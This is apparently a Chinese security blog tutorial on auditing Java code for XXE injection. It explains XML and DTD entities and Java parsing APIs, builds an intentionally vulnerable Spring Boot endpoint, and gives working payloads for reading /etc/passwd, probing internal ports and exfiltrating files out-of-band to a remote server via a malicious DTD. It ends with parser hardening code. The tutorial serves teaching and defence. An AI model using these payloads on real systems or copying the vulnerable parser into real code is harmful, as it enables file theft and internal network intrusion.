跳过正文
  1. Posts/
  2. 代码审计/
  3. Java/

Java代码审计 - XXE

·897 字·5 分钟· loading · loading ·
NaBH4
作者
NaBH4
A little bit about you

0x01 初识XXE
#

XXE简介:
#

XML External Entity 外部实体注入的简称就是XXE,从安全角度理解成XML External Entity attack 外部实体注入攻击。当网站允许引用XML外部实体时,就可能被攻击者引用恶意代码导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XML简介:
#

XML是可扩展标记语言,标准通用标记语言的子集,简称XML。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

初识XXE
#

XML 文档形成了一种树结构,它从“根部”开始,然后扩展到“枝叶”,下面是一个XML文档。

<?xml version="1.0" encoding="ISO-8859-1"?>
<Person>
<name>蕉太狼</name>
<age>20</age>
<sex>boy</sex>
</Person>

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。 Person是文档的根元素说明这个文档是人,里面的name、age、sex分别代表人的属性。 XML 文档形成一种树结构如下:

<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>

父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹)。 所有元素均可拥有文本内容和属性(类似 HTML 中)。

DTD简介:
#

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 DTD 可被成行地声明于 XML 内部文档中,也可作为一个外部引用。 内部的 DOCTYPE 声明 假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

外部文档声明 假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">
  • 内部带有DTD的XML文档:
<?xml version="1.0"?>
<!DOCTYPE Person [
  <!ELEMENT Person (name, age, sex)>
  <!ELEMENT name    (#PCDATA)>
  <!ELEMENT age     (#PCDATA)>
  <!ELEMENT sex     (#PCDATA)>
]>
<Person>
  <name>蕉太狼</name>
  <age>20</age>
  <sex>boy</sex>
</Person>
  • 外部带有DTD的XML文档:
<?xml version="1.0"?>
<!DOCTYPE Person SYSTEM "Person.dtd">
<Person>
<name>蕉太狼</name>
<age>20</age>
<sex>boy</sex>
</Person>

以下是外部Person.dtd文件中的内容:

<!ELEMENT Person (name, age, sex)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age  (#PCDATA)>
<!ELEMENT sex  (#PCDATA)>

DTD实体:
#

实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明。

一个内部实体声明:

<!ENTITY 实体名称 "实体的值">

DTD例子:
#

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML例子:
#

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明:

<!ENTITY 实体名称 SYSTEM "URI/URL">

DTD例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

0x02 XML的四种解析方式
#

XML 4种解析方式
#

1.DOM解析
#
import java.io.File;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

public class XxeDemo {
    public void xxe() throws Exception {
        //1.创建DocumentBuilderFactory实例
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        //2.加载xml
        File f = new File("src/main/resources/dom.xml");
        Document doc = builder.parse(f);
        NodeList person = doc.getElementsByTagName("Person");
        for (int i = 0; i <person.getLength(); i++) {
            Node node = person.item(i);
            NodeList childNodes = node.getChildNodes();
            for (int j = 0; j <childNodes.getLength() ; j++) {
                if (childNodes.item(j).getNodeType()==Node.ELEMENT_NODE) {
                    System.out.print(childNodes.item(j).getNodeName() + ":");
                    System.out.println(childNodes.item(j).getFirstChild().getNodeValue());
                }
            }
        }
    }
}

以下是dom.xml中的内容

<?xml version="1.0" encoding="utf-8"?>
<Persons>
    <Person>
        <name>蕉太狼</name>
        <age>8</age>
        <sex>boy</sex>
    </Person>
    <Person>
        <name>灰太狼</name>
        <age>10</age>
        <sex>boy</sex>
    </Person>
    <Person>
        <name>红太狼</name>
        <age>9</age>
        <sex>girl</sex>
    </Person>
</Persons>

下图是运行结果

image

2.SAX解析
#

首先需要自定义DefaultHandler处理器

import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

public class SAXDemoHandel extends DefaultHandler {
    //遍历xml文件开始标签
    @Override
    public void startDocument() throws SAXException {
        super.startDocument();
        System.out.println("sax解析开始");
    }

    //遍历xml文件结束标签
    @Override
    public void endDocument() throws SAXException {
        super.endDocument();
        System.out.println("sax解析结束");
    }

    @Override
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        super.startElement(uri, localName, qName, attributes);
        if (qName.equals("person")){
            System.out.println("============开始遍历person=============");
        }
        else if (!qName.equals("person")&&!qName.equals("Persons")){
            System.out.print("节点名称:"+qName+"----");
        }
    }

    @Override
    public void endElement(String uri, String localName, String qName) throws SAXException {
        super.endElement(uri, localName, qName);
        if (qName.equals("person")){
            System.out.println(qName+"遍历结束");
            System.out.println("============结束遍历person=============");
        }
    }

    @Override
    public void characters(char[] ch, int start, int length) throws SAXException {
        super.characters(ch, start, length);
        String value = new String(ch,start,length).trim();
        if (!value.equals("")) {
            System.out.println(value);
        }
    }
}

解析代码如下:

public void SAXDemo() throws Exception{
        //1.或去SAXParserFactory实例
        SAXParserFactory factory = SAXParserFactory.newInstance();
        //2.获取SAXparser实例
        SAXParser saxParser = null;
        saxParser = factory.newSAXParser();
        saxParser.parse("src/main/resources/dom.xml", new SAXDemoHandel());
    }

运行结果如下:

image

3.JDOM解析
#

首先引入JDOM依赖

<!--jdom -->
<dependency>
    <groupId>org.jdom</groupId>
    <artifactId>jdom</artifactId>
    <version>1.1.3</version>
</dependency>
public void JDom() throws Exception{
        //1.创建SAXBuilder对象
        SAXBuilder saxBuilder = new SAXBuilder();
        //2.创建输入流
        InputStream is = new FileInputStream(new File("src/main/resources/dom.xml"));
        //3.将输入流加载到build中
        Document document = saxBuilder.build(is);
        //4.获取根节点
        Element rootElement = document.getRootElement();
        //5.获取子节点
        List<Element> children = rootElement.getChildren();
        for (Element child : children) {
            List<Attribute> attributes = child.getAttributes();
            //打印属性
            for (Attribute attr : attributes) {
                System.out.println(attr.getName()+":"+attr.getValue());
            }
            List<Element> childrenList = child.getChildren();
            System.out.println("======获取子节点-start======");
            for (Element o : childrenList) {
                System.out.println("节点名:"+o.getName()+"---"+"节点值:"+o.getValue());
            }
            System.out.println("======获取子节点-end======");
        }
    }

运行结果如下:

image

4.DOM4J解析
#

引入DOM4J依赖

<!-- dom4j -->
<dependency>
    <groupId>dom4j</groupId>
    <artifactId>dom4j</artifactId>
    <version>1.6.1</version>
</dependency>
public void Dom4J() throws Exception{
        //1.创建Reader对象
        SAXReader reader = new SAXReader();
        //2.加载xml
        Document document = reader.read(new File("src/main/resources/dom.xml"));
        //3.获取根节点
        Element rootElement = document.getRootElement();
        Iterator iterator = rootElement.elementIterator();
        while (iterator.hasNext()){
            Element stu = (Element) iterator.next();
            List<Attribute> attributes = stu.attributes();
            System.out.println("======获取属性值======");
            for (Attribute attribute : attributes) {
                System.out.println(attribute.getValue());
            }
            System.out.println("======遍历子节点======");
            Iterator iterator1 = stu.elementIterator();
            while (iterator1.hasNext()){
                Element stuChild = (Element) iterator1.next();
                System.out.println("节点名:"+stuChild.getName()+"---节点值:"+stuChild.getStringValue());
            }
        }
    }

运行结果如下:

image

0x03 XXE注入的利用方法
#

环境搭建:(SpringBoot)
#

使用IDEA新建一个SpringBoot项目,这里需要注意的是jdk版本,我使用的是jdk8。

image
点击Next进行下一步设置,勾选Spring Web模块。
image
点击Finish按钮,等待项目创建成功。
image
创建一个Controller来运行漏洞代码。
image
接着需要在src/main/resources/application.properties配置文件中添加server.port=5000 把服务端的端口改为5000(这么做是为了避免与Burp的监听端口8080产生冲突)
image

1.任意文件读取
#

首先来写一段存在XXE的代码。

@RestController
@RequestMapping("/")
public class XxeController {
    @RequestMapping(value = "/xxe",method = RequestMethod.POST)
    public String xxe(HttpServletRequest request) throws Exception{
        //1.创建DocumentBuilderFactory实例
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        //2.加载xml
        ServletInputStream xml = request.getInputStream();
        //3.解析xml
        Document doc = builder.parse(xml);
        return doc.getDocumentElement().getFirstChild().getNodeValue();
    }
}

image
然后启动项目。 构造一个恶意payload发送到服务器来读取/etc/passwd的内容,发送请求使用POST方法

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
        ]>
<root>&xxe;</root>

image
可以看到成功读取了/etc/passwd的内容。

2.内网探测 & 端口扫描
#

首先使用虚拟机开启一个redis服务

image
使用客户端连接,检测redis服务是否正常。
image
修改payload.xml中的恶意代码如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
        <!ENTITY xxe SYSTEM "http://192.168.2.199:6379">
        ]>
<root>&xxe;</root>

192.168.2.199是我虚拟机的IP地址,6379是redis默认端口号,再次发送payload进行访问。

image
可以看到redis服务开启的时候响应耗时34毫秒,现在关闭redis服务在次进行访问。
image
这个时候能看到响应耗时变为2.3秒,所以我们可以通过响应时长来判断端口是否开放。(通过这种方法可以把XXE注入当成SSRF,当端口未开放时,响应耗时会变长,用同样的方法可以探测内网一些资产。)

0x03无回显利用
#

当我们遇到无回显xxe的时候可以使用把回显信息发送到远程服务器的日志中,达到获取数据的目的。 事先在用户目录准备好一个evil.txt 内容为HHHHHH。 首先准备一个vps,在vps上开启http服务。然后在web目录下创建一个evil.dtd文件,内容如下:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://172.16.35.131/?%file;'>">
%all;

image
然后在本地向服务端提交一个payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % file SYSTEM "file:///Users/kn4im3/evil.txt">
    <!ENTITY % remote SYSTEM "http://172.16.35.131/evil.dtd">
%remote;
%send;
]>

image
服务器解析xml的时候 就会先加载远程的evil.dtd,然后执行%all这个外部实体,最后执行%send发送数据。 然后使用以下命令

tail -f /var/log/apache2/access.log

查看apache2的日志,来获取我们想要的数据。

image

0x04 修复方法
#

DocumentBuilderFactory修复
#

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        String FEATURE = null;
        FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
        dbf.setFeature(FEATURE, true);
        FEATURE = "http://xml.org/sax/features/external-general-entities";
        dbf.setFeature(FEATURE, false);
        FEATURE = "http://xml.org/sax/features/external-parameter-entities";
        dbf.setFeature(FEATURE, false);
        FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
        dbf.setFeature(FEATURE, false);
        dbf.setXIncludeAware(false);
        dbf.setExpandEntityReferences(false);
        DocumentBuilder documentBuilder = dbf.newDocumentBuilder();

DomParser 修复
#

DOMParser domParser = new DOMParser();
domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false);
domParser.parse(new FileInputStream(new File("poc.xml")));

SaxBuilder 修复
#

File file = new File("src/main/java/xxe/poc_bind.xml");
SAXBuilder sb = new SAXBuilder();
sb.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sb.setFeature("http://xml.org/sax/features/external-general-entities", false);
sb.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
sb.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

SAXParserFactory 修复
#

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
File file = new File("poc.xml");
SAXParser parser = spf.newSAXParser();
parser.parse(file, (HandlerBase) null);

SAXReader 修复
#

File file = new File("poc.xml");
SAXReader saxReader = new SAXReader();
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
saxReader.read(file);

SAXTransformerFactory
#

File file = new File("poc.xml");
StreamSource source = new StreamSource(file);
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newTransformerHandler(source);

SchemaFactory
#

SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
File file = new File("src/main/java/xxe/poc.xml");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
StreamSource source = new StreamSource(file);
Schema schema = factory.newSchema(source);

XMLInputFactory
#

XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
File file = new File("poc.xml");